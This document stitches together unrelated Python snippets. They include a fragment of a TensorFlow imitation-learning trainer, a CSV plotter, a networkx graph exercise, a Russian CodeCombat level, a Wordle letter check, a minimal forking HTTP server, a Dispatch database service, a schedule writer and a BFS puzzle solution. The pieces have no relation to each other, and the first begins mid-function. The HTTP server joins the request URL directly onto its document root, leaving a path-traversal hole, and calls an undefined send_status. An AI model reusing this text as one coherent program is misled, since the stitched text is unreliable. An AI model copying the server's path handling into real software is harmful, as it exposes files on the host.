      print("Error!! Batch size greater than number of samples provided for training")

  def get_policy_loss(self, state, action):
    """get policy loss"""
    return self.sess.run(self.policy_loss, feed_dict={
      self.state: state,
      self.action: action
    })

  def get_fdm_loss(self, state, nstate, action):
    """get inverse dynamic model loss"""
    fdm_loss = self.sess.run(self.fdm_loss, feed_dict={
      self.state: state,
      self.nstate: nstate,
      self.action: action
    })
    return fdm_loss

  def train(self):
    """training the policy and forward dynamics model"""

    if args.usePrevSession:
      saver_prev = tf.train.Saver()
      saver_prev.restore(self.sess, args.prev_session_dir)
      print('[Loaded previous model and session]')

      # NOTE: Re-init policy here if you wish
      # policy_variables =  tf.get_collection(tf.GraphKeys.VARIABLES, scope="policy_model")
      # init_policy = tf.variables_initializer(policy_variables)
      # self.sess.run(init_policy)

    else:
      # Start session
      self.sess.run(tf.global_variables_initializer())

      # Optional: Learn FDM using random sampling
      if (args.learnFDM):
        print("\n[Random sampling to learn FDM]")
        S, nS, A = self.dynamics_sampling()
        # Add to Experience Buffer
        for id in range(0, len(S)):
          self.ExpBuff.append((S[id], nS[id], A[id]))
        self.update_fdm(self.epochTrainIts*8)

    # Optional: Train initial policy from demonstrations
    if (args.initPolicy):
      print("\n[Training initial policy]")
      self.update_policy(self.epochTrainIts*4)

    # Init model saver
    saver = tf.train.Saver(max_to_keep=1)
    # save current session
    print('saving session')
    saver.save(self.sess, args.session_dir)

    if (args.runAgent):
      # Execute agent policy

      # Iterate over episodes
      for it in range(self.maxEpisodes):
        def should(freq):
          return freq > 0 and ((it+1) % freq==0 or it == self.maxEpisodes-1)

        # Optional: Countdown for trainer to be ready
        if (not args.fast):
          print('[Running new episode in....]')
          time.sleep(1)
          print('3')
          time.sleep(1)
          print('2')
          time.sleep(1)
          print('1')
          time.sleep(1)
          print('Start')

        # Run with human feedback, get feedback rate
        feedback_rate = self.feedback_run()
        print('[Episode ended]')

        # Optional: Update FDM
        if (args.learnFDM):
          # S, nS, A = self.exploration_dynamics_sampling() # Sample policy with exploration and update forward dynamic model
          # # Add to Experience Buffer
          # for id in range(0, len(S)):
          #   self.ExpBuff.append((S[id], nS[id], A[id]))
          #   if (len(self.ExpBuff) > self.maxExpBuffSize):
          #     self.ExpBuff.pop(0)
          # Update FDM
          # self.update_fdm(self.epochTrainIts)
          pass

        if should(args.print_freq):
          policy_reward = 0
          numTrials = 9
          for i in range(numTrials):
            curr_reward = self.eval_rwd_policy()
            policy_reward += curr_reward
            print("Background Trial: %d, reward: %5.1f" % (i+1, curr_reward))
            self.log_writer.write("\n" + "Background Trial: " + str(i+1) + ", reward: " + str(curr_reward))
            self.reward_writer.write(format(curr_reward, '8.6f') + "\n" )
          avg_reward = policy_reward/numTrials

          print('Iteration: %5d, average_reward: %5.1f, feedback_rate: %1.3f' % ((it+1), avg_reward, feedback_rate))
          self.result_writer.write( str(it+1) + " , " + format(avg_reward, '8.6f') + " , " + format(feedback_rate, '8.6f') + "\n" )
          self.log_writer.write("\n" + "Iteration: " + str(it+1) + ", average_reward: " + str(avg_reward) + ", feedback_rate: " + str(feedback_rate) + "\n" + "\n")

        # saving session
        if should(args.save_freq):
          print('saving session')
          saver.save(self.sess, args.session_dir)

    else:
      # End: Not running agent
      print("Note: Use --runAgent option to execute behavior\n[End]")

  def test(self):
    saver = tf.train.Saver()
    saver.restore(self.sess, args.session_dir)
    print('\n[Testing]\nFinal reward: %5.1f' % self.eval_rwd_policy())

  def run(self):
    if not os.path.exists(args.session_dir):
      os.makedirs(args.session_dir)

    if args.mode == 'test':
      if args.session_dir is None:
        raise Exception("checkpoint required for test mode")

      self.test()

    if args.mode == 'train':
      if not os.path.exists(args.result_dir):
        os.makedirs(args.result_dir)

      # Optional: read demonstration data
      # self.demo_examples, self.inputs, self.targets = self.load_demonstration()

      # store datetime for saving logs
      self.logTime = dt.datetime.now().strftime('%d%m%H%M%S')

      self.exp = 0
      for self.exp in range(0, args.numExperiments):

        # Set random seed for experiment
        np.random.seed(self.exp + 5)

        self.result_writer = open(args.result_dir + self.logTime + "_" + str(self.exp) + ".csv", "w") # csv episode result log
        self.reward_writer = open(args.result_dir + self.logTime + "_rwd_" + str(self.exp) + ".csv", "w") # csv all rewards log
        self.result_writer.write("iteration,average_reward,feedback_rate\n")
        self.reward_writer.write("agent_rewards\n")

        self.log_writer = open(args.result_dir + self.logTime + "_" + str(self.exp) + ".txt", "w") # txt debug log with everything

        self.train() # Train epochs

        self.result_writer.close()
        self.reward_writer.close()
        self.log_writer.close()


try:
    import sys
    import argparse
    import os
    import subprocess
    import io
    import signal
    import datetime
    import csv
    import numpy as np
    import matplotlib.pyplot as plt
    import time
    import socket
except ImportError as e:
    print(f"[ERROR] in {__file__} " + str(e))
    sys.exit(1)

kVerbose = False  # Set this to True for debugging

# set matplotlib font size
SMALL_SIZE = 10
MEDIUM_SIZE = 10
BIGGER_SIZE = 12

plt.rc('font', size=SMALL_SIZE)          # controls default text sizes
plt.rc('axes', titlesize=SMALL_SIZE)     # fontsize of the axes title
plt.rc('axes', labelsize=MEDIUM_SIZE)    # fontsize of the x and y labels
plt.rc('xtick', labelsize=SMALL_SIZE)    # fontsize of the tick labels
plt.rc('ytick', labelsize=SMALL_SIZE)    # fontsize of the tick labels
plt.rc('legend', fontsize=SMALL_SIZE)    # legend fontsize
plt.rc('figure', titlesize=BIGGER_SIZE)  # fontsize of the figure title

def parse_csv(file_path):
    with open(file_path) as csvfile:
        csv_reader = csv.reader(csvfile, delimiter=',')
        line_count = 0
        names = None
        data = {}
        data['filename'] = os.path.basename(file_path)
        for row in csv_reader:
            if line_count == 0:
                names = row
                for i in range(0,len(names)):
                    if i == 0:
                        names[0] = names[0][1:].strip()
                    else:
                        names[i] = names[i].strip()
                print(f'names: {names}')
            else:
                #print(row)
                assert(len(names) == len(row))
                for i in range(0,len(row)):
                    if line_count == 1:
                        data[names[i]] = []
                    #print(names[i] + ' ' + row[i])
                    data[names[i]].append(row[i])
            line_count += 1
        data['keys'] = names
        return data
    return None

# Save figure with nice margin
def save_fig(figure, name, dpi = 300, bbox_inches = 0, pad_inches = 0.1):
    # mng = plt.get_current_fig_manager()
    # mng.full_screen_toggle()
    print(f'saving figure: {name}')
    figure.set_size_inches(24, 18)
    figure.savefig(name, dpi = dpi, bbox_inches = bbox_inches, pad_inches = pad_inches, orientation='landscape')

def draw_path(ax, path, color, marker, label, dashed=False):
    path_x = [x[0] for x in path]
    path_y = [x[1] for x in path]
    if dashed:
        ax.plot(path_x, path_y, c=color, marker=marker, label=label, linestyle='dashed')
    else:
        ax.plot(path_x, path_y, c=color, marker=marker, label=label)

def draw_data(data, args):
    assert(data is not None)

    markersize = 3

    # comment = f'# x, y '

    data_to_draw = ['timestamp','x', 'y']

    filename = data['filename']

    names = data['keys']
    timestamps = np.array(data['timestamp'], dtype=float)
    t0 = timestamps[0]
    timestamps = np.subtract(timestamps, t0)

    x = np.array(data['x'], dtype=float)
    y = np.array(data['y'], dtype=float)

    #print(f'timestamps size: ', len(timestamps))

    fig_cartesian, ax_cartesian = plt.subplots(1)
    fig_components, [ax_x, ax_y] = plt.subplots(2)

    # set big figures (otherwise tight_layout() won't work below)
    fig_size_inches = (24, 18)
    fig_cartesian.set_size_inches(fig_size_inches)
    fig_components.set_size_inches(fig_size_inches)

    suptitle_fontsize = 12
    subfig_title_fontsize = 8
    subfig_xlabel_fontsize = 8

    fig_cartesian.suptitle('Data from: ' + filename, fontsize=suptitle_fontsize)
    fig_components.suptitle('Data from: ' + filename, fontsize=suptitle_fontsize)

    ax_cartesian.set_title('x-y plane', fontsize=subfig_title_fontsize)
    ax_x.set_title('x component', fontsize=subfig_title_fontsize)
    ax_y.set_title('x component', fontsize=subfig_title_fontsize)

    ax_cartesian.plot(x, y, c='blue', marker='.', label='path')
    ax_x.plot(timestamps, x, c='blue', marker='.', label='x')
    ax_y.plot(timestamps, y, c='blue', marker='.', label='y')

    ax_cartesian.grid(True)
    ax_cartesian.axis('equal')
    ax_cartesian.set_xlabel('m', fontsize=subfig_xlabel_fontsize)
    ax_cartesian.set_ylabel('m')

    ax_x.set_xlabel('time', fontsize=subfig_xlabel_fontsize)
    ax_x.set_ylabel('m')
    ax_x.legend(loc='upper right', frameon=False)
    ax_x.grid(True)
    ax_x.set_xticks(np.arange(min(timestamps), max(timestamps)+1, args.tick))

    ax_y.set_xlabel('time', fontsize=subfig_xlabel_fontsize)
    ax_y.set_ylabel('m')
    ax_y.legend(loc='upper right', frameon=False)
    ax_y.grid(True)
    ax_y.set_xticks(np.arange(min(timestamps), max(timestamps)+1, args.tick))

    # NOTE: as for tight_layout(), you may provide an optional rect parameter, which specifies the bounding box
    # that the subplots will be fit inside. The coordinates must be in normalized figure coordinates and
    # the default is (0, 0, 1, 1). From https://matplotlib.org/2.0.2/users/tight_layout_guide.html
    layout_rect_delta = 0.03
    layout_rect = [layout_rect_delta, layout_rect_delta, (1.0-layout_rect_delta), (1.0-layout_rect_delta)]
    layout_pad = 5
    #fig.tight_layout()  # avoid text overlapping
    fig_cartesian.tight_layout(rect=layout_rect, pad=layout_pad)   # avoid text overlapping
    fig_components.tight_layout(rect=layout_rect, pad=layout_pad)   # avoid text overlapping
    if args.save_plots:
        folder_name = os.path.dirname(os.path.abspath(args.input_file))
        path = os.path.join(folder_name, filename)
        save_fig(fig_cartesian, f'{path}_cartesian_plot.png')
        save_fig(fig_components, f'{path}_components_plot.png')
    plt.show()

def signal_handler(sig, frame):
    print('\n{} intercepted Ctrl+C!'.format(os.path.basename(__file__)))
    sys.exit(0)

signal.signal(signal.SIGINT, signal_handler)

if __name__ == '__main__':

    argparser = argparse.ArgumentParser(description='Parse and draw a log')
    argparser.add_argument("-i", "--input-file", type=str, default=None, help="Path of the input file we want to draw.")
    argparser.add_argument("-t", "--tick", default=0.5, help="Horizontal tick on the time axis.")
    argparser.add_argument("-s", "--save-plots", default=False, action='store_true', help="Save the plots in case you give an input file.")
    args = argparser.parse_args()

    # check if we have to draw an input file
    if args.input_file:
        print('parsing and drawing input file ' + args.input_file)
        data = parse_csv(args.input_file)
        #print('data: ' + str(data))
        draw_data(data, args)


"""

This program loads the graph from the file and draws it,
processes and outputs information about its connected components,
determines a diameter and displays it on the graphic file,
and draws the spanning forest of the Graph.

Variant: 52.
Coded by Nazarenko Andriy

"""

import networkx as nx
import matplotlib.pyplot as plt

class Graph(nx.Graph):
    """
    Inherited from networkx.Graph() class, which has additional methods.
    """

    def draw_a_tree(self, pos: dict = None):
        """
        Makes a graphic file, where is drawn a graph whit its spanning forest.
        :param pos: determines the positions of nodes.
        :return:
        """
        tree = nx.minimum_spanning_tree(self)
        edge_tree_colors = ['g' if t_e in tree.edges() else 'k' for t_e in self.edges()]
        node_tree_colors = ['g' if t_n in tree.nodes() else 'k' for t_n in self.nodes()]
        nx.draw(self, pos=pos, with_labels=True, node_color=node_tree_colors, font_color='white',
                edge_color=edge_tree_colors)
        plt.show()

    def info_about_components(self):
        """
        Prints the number of nodes and edges, degrees,eccentricities,
        radius and diameter of each connected component
        :return: Nothing
        """
        number = 0
        for component in nx.connected_components(self):
            subgraph = self.subgraph(component)
            number += 1
            print(f"Connected Component №{number}.")
            print(f"The number of vertex = {nx.number_of_nodes(subgraph)}.")
            print(f"The number of edges = {nx.number_of_edges(subgraph)}.")
            print(f"Nodes degrees: {subgraph.degree}.")
            print(f"Nodes eccentricities: {nx.eccentricity(subgraph)}.")
            print(f"Radius of the component = {nx.radius(subgraph)}.")
            print(f"Diameter of the component = {nx.diameter(subgraph)}.")

    def draw_diameters(self, pos=None):
        """
        Makes a graphic file, where is drawn a graph whit its diameters.
        :param pos: argument that determines positions of the nodes.
        :return:
        """
        diameter_paths = []
        diameter = None

        for component in nx.connected_components(self):
            subgraph = self.subgraph(component)
            d = nx.diameter(subgraph)
            short_paths = dict(nx.all_pairs_shortest_path(subgraph))
            for node in short_paths.values():
                for path in node.values():
                    if 0 < len(path) - 1 == d:
                        diameter = path
                        break
            diameter_paths += [tuple(diameter)]
        d_graph = nx.Graph(diameter_paths)
        d_edge_colors = ['r' if (d_e in d_graph.edges) else 'k' for d_e in self.edges()]
        d_node_colors = ['r' if (d_n in d_graph.nodes) else 'k' for d_n in self.nodes()]

        nx.draw(self, with_labels=True, pos=pos, font_color='white', edge_color=d_edge_colors,
                node_color=d_node_colors)
        plt.show()

try:
    # 2
    g = Graph(nx.read_adjlist('C:/Temp/adj_list.txt'))
    nx.draw_shell(g, with_labels=True, font_color='w', edge_color='k', node_color='k')
    plt.show()

    # 3
    positions = {'1': [3, 3], '2': [0, 0], '3': [3, 6], '4': [6, 0], '5': [8, 0], '6': [11, 6], '7': [14, 0],
                 '8': [16, 0],
                 '9': [19, 6], '10': [22, 0], '11': [24, 0], '12': [24, 6], '13': [25, 3]}
    nx.draw(g, pos=positions, with_labels=True, font_color='w', edge_color='k', node_color='k')
    plt.show()

    # 4
    g.info_about_components()

    # 5
    g.draw_diameters(pos=positions)

    # 6
    g.draw_a_tree(pos=positions)
except Exception as e:
    print(e)


# https://codecombat.com/play/level/gems-or-death
# Команды, находящиеся в теле if-оператора, написанные ниже будут исполнятся только если условие будет выполнено.
# Исправьте все if-операторы для прохождения уровня.

# == значит "равно ли", т.е. сравнение.
if 1 + 1 + 1 == 30:  # ∆ Сделайте тут "false"
    hero.moveXY(5, 15)  # Идите к первой группе мин.

if 2 + 2 == 4:  # ∆ Сделайте тут "true"
    hero.moveXY(15, 40)  # Идите к первому самоцвету.

# != значит "не равно".
if 2 + 3 != 4:  # ∆ Сделайте тут "true"
    hero.moveXY(25, 15)  # Идите ко второму самоцвету.

# < значит "меньше чем".
if 2 + 2 < 5:  # ∆ Сделайте тут "true"
    enemy = hero.findNearestEnemy()
    hero.attack(enemy)

if 2 < 0:  # ∆ Сделайте тут "false"
    hero.moveXY(40, 55)

if not True:  # ∆ Сделайте тут "false"
    hero.moveXY(50, 10)

if not False:  # ∆ Сделайте тут "true"
    hero.moveXY(55, 25)


#!/usr/bin/env python3
# testing.py
from termcolor import colored

word = 'fail'
guess = 'fall'

list_of_word = []
for letter in word:
    list_of_word.append(letter)

list_of_guess = []
for letter in guess:
    list_of_guess.append(letter)

print(list_of_word)
print(list_of_guess)

correct_placement = []
incorrect_placement = []

for i, letter in enumerate(list_of_word):
    if list_of_word[i] == list_of_guess[i]:
        correct_placement.append(letter)

    elif letter in list_of_guess:
        incorrect_placement.append(letter)

    else:
        pass

#print(correct_placement, incorrect_placement)
#print(colored_letters)

colored_guess = []
for letter in guess:
    if letter in correct_placement:
        colored_guess.append(colored(letter, 'green'))
    elif letter in incorrect_placement:
        colored_guess.append(colored(letter, 'yellow'))
    else:
        colored_guess.append(letter)

#print(*colored_guess)
print(correct_placement)
print(incorrect_placement)


#!/usr/bin/env python3
import socket
import os
import sys
import signal
import re

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind(('',9999))
s.listen(5)
signal.signal(signal.SIGCHLD,signal.SIG_IGN)

DOCUMENT_ROOT='documents'

mime_types={
    '.html':'text/html',
    '.txt':'text/plain',
    '.jpg':'image/jpeg',
    '.png':'image/png',
}

while True:
    connected_socket,client_address=s.accept()
    print(f'spojenie s {client_address}')
    pid_chld=os.fork()
    if pid_chld==0:
        s.close()
        f=connected_socket.makefile('rwb')
        while True:
            first=f.readline().decode('ascii').rstrip()
            m=re.match(r'^([^ ]+) +([^ ]+) +([^ ]+) *$',first)
            if m:
                method=m.group(1)
                url=m.group(2)
                protocol=m.group(3)
            else:
                break
            print('method',method)
            print('url',url)
            print('protocol',protocol)
            while True:
                header_in=f.readline().decode('ascii').rstrip()
                if not header_in:
                    break
                print(header_in)
            filename=DOCUMENT_ROOT+url
            try:
                with open(filename,'rb') as ff:
                    response_content=ff.read()
            except FileNotFoundError:
                send_status(f,404,'Not found')
                continue
            base,extension=os.path.splitext(filename)
            if extension in mime_types:
                mime_type=mime_types[extension]
            else:
                mime_type='application/octet-stream'
            f.write('HTTP/1.1 200 OK\r\n'.encode('ascii'))
            f.write(f'Content-type:{mime_type}\r\n'.encode('ascii'))
            response_length=len(response_content)
            f.write(f'Content-length:{response_length}\r\n'.encode('ascii'))
            f.write('\r\n'.encode('ascii'))
            f.write(response_content)
            f.flush()
        print(f'{client_address} uzavrel spojenie')
        sys.exit(0)
    else:
        connected_socket.close()


from typing import Optional, List
from pydantic.error_wrappers import ErrorWrapper, ValidationError

from dispatch.exceptions import NotFoundError
from dispatch.project import service as project_service

from .models import (
    SourceStatus,
    SourceStatusCreate,
    SourceStatusUpdate,
    SourceStatusRead,
)

def get(*, db_session, source_status_id: int) -> Optional[SourceStatus]:
    """Gets a status by its id."""
    return db_session.query(SourceStatus).filter(SourceStatus.id == source_status_id).one_or_none()

def get_by_name(*, db_session, project_id: int, name: str) -> Optional[SourceStatus]:
    """Gets a status by its name."""
    return (
        db_session.query(SourceStatus)
        .filter(SourceStatus.name == name)
        .filter(SourceStatus.project_id == project_id)
        .one_or_none()
    )

def get_by_name_or_raise(
    *, db_session, project_id, source_status_in=SourceStatusRead
) -> SourceStatusRead:
    """Returns the status specified or raises ValidationError."""
    status = get_by_name(db_session=db_session, project_id=project_id, name=source_status_in.name)

    if not status:
        raise ValidationError(
            [
                ErrorWrapper(
                    NotFoundError(
                        msg="SourceStatus not found.",
                        status=source_status_in.name,
                    ),
                    loc="status",
                )
            ],
            model=SourceStatusRead,
        )

    return status

def get_all(*, db_session, project_id: int) -> List[Optional[SourceStatus]]:
    """Gets all sources."""
    return db_session.query(SourceStatus).filter(SourceStatus.project_id == project_id)

def create(*, db_session, source_status_in: SourceStatusCreate) -> SourceStatus:
    """Creates a new status."""
    project = project_service.get_by_name_or_raise(
        db_session=db_session, project_in=source_status_in.project
    )
    source_status = SourceStatus(**source_status_in.dict(exclude={"project"}), project=project)
    db_session.add(source_status)
    db_session.commit()
    return source_status

def get_or_create(*, db_session, source_status_in: SourceStatusCreate) -> SourceStatus:
    """Gets or creates a new status."""
    # prefer the status id if available
    if source_status_in.id:
        q = db_session.query(SourceStatus).filter(SourceStatus.id == source_status_in.id)
    else:
        q = db_session.query(SourceStatus).filter_by(name=source_status_in.name)

    instance = q.first()
    if instance:
        return instance

    return create(
        db_session=db_session,
        source_status_in=source_status_in,
    )

def update(
    *,
    db_session,
    source_status: SourceStatus,
    source_status_in: SourceStatusUpdate,
) -> SourceStatus:
    """Updates an existing status."""
    source_status_data = source_status.dict()
    update_data = source_status_in.dict(skip_defaults=True, exclude={})

    for field in source_status_data:
        if field in update_data:
            setattr(source_status, field, update_data[field])

    db_session.commit()
    return source_status

def delete(*, db_session, source_status_id: int):
    """Deletes an existing status."""
    source_status = (
        db_session.query(SourceStatus).filter(SourceStatus.id == source_status_id).one_or_none()
    )
    db_session.delete(source_status)
    db_session.commit()


from datetime import date

week = 'Понедельник Вторник Среда Четверг Пятница Суббота Воскесенье'.split()

def save(location,class_list,teacher_list):
    for tmp in class_list:
        save_schedule(location+f'/ученики {str(date.today())}.txt', tmp.get_name(), tmp.get_schedule())
    for tmp in teacher_list:
        save_schedule(location+f'/учителя {str(date.today())}.txt', tmp.get_name(), tmp.get_schedule(), True)

def save_schedule(location, name, schedule, mode=False):
    file = open(location,'a')
    file.write(name+'\n')
    for num, tmp in enumerate(schedule):
        file.write('    ' + week[num] + '\n')
        for num2, tmp2 in enumerate(tmp):
            if not mode:
                if tmp2 is None: continue
                file.write('    '*2+str(num2+1)+'. ' + tmp2.get_lesson().get_name()+'\n')
            else:
                if not tmp2: continue
                file.write('    '*2+str(num2+1)+'. '+tmp2[1].get_name()+' '+tmp2[0].get_name()+'\n')


from collections import deque
import sys

input = sys.stdin.readline

n, m, h = map(int, input().split())

box = [[[0] * (n) for _ in range(m)] for _ in range(h)]

for i in range(h):
    for j in range(m):
        tomato = list(map(int, input().split()))
        box[i][j] = tomato

dx = [-1, 1, 0, 0, 0, 0]
dy = [0, 0, -1, 1, 0, 0]
dz = [0, 0, 0, 0, -1, 1]

def find_ripe_tomate(n, m, h):
    queue = deque()
    for z in range(h):
        for y in range(m):
            for x in range(n):
                if box[z][y][x] == 1:
                    queue.append((x, y, z))

    return queue

def bfs(x, y, z):

    for i in range(6):
        nx = x + dx[i]
        ny = y + dy[i]
        nz = z + dz[i]

        if nx < 0 or ny < 0 or nz < 0 or nx >= n or ny >= m or nz >= h:
            continue
        if box[nz][ny][nx] == -1:
            continue
        if box[nz][ny][nx] == 0:
            box[nz][ny][nx] = box[z][y][x] + 1
            ripe_tomate.append((nx, ny, nz))

    return

def find_max_tomato(n, m, h):
    max_tomato = 0
    for z in range(h):
        for y in range(m):
            for x in range(n):
                if box[z][y][x] > max_tomato:
                    max_tomato = box[z][y][x]
                if box[z][y][x] == 0:
                    return 0
    return max_tomato

ripe_tomate = find_ripe_tomate(n, m, h)

while ripe_tomate:
    x, y, z = ripe_tomate.popleft()
    bfs(x, y, z)

max_tomato = find_max_tomato(n, m, h)
if max_tomato == 0:
    print(-1)
else:
    print(max_tomato - 1)